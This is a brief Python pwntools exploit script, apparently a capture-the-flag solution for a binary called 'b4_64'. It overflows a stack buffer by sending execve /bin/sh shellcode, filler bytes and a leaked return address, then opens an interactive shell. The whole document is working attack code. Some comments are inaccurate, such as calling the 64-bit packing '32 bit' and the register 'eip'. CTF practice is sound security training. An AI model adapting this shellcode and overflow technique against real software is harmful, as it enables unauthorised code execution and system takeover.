#Import the pwntools library.
from pwn import *

#The process is like an actualy command you run, so you will have to adjust the path if your exploit isn't in the same directory as the challenge.
target = process("./b4_64")

#Just receive the first line, which for our purposes isn't important.
target.recvline()

#Store the address of the buffer in a variable, and strip away the newline to prevent conversion issues
address = target.recvline().strip("\n")

#Convert the string to a hexidecimal
address = int(address, 16)

#Pack the hexidecimal in little endian for 32 bit systems
address = p64(address)
print address
#Store the shellcode in a variable
shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

#Make the filler to reach the eip register
filler = "0"*381

#Craft the payload
payload = shellcode + filler + address

#Send the payload
target.sendline(payload)

#Drop into interactive mode so you can use the shell
target.interactive()
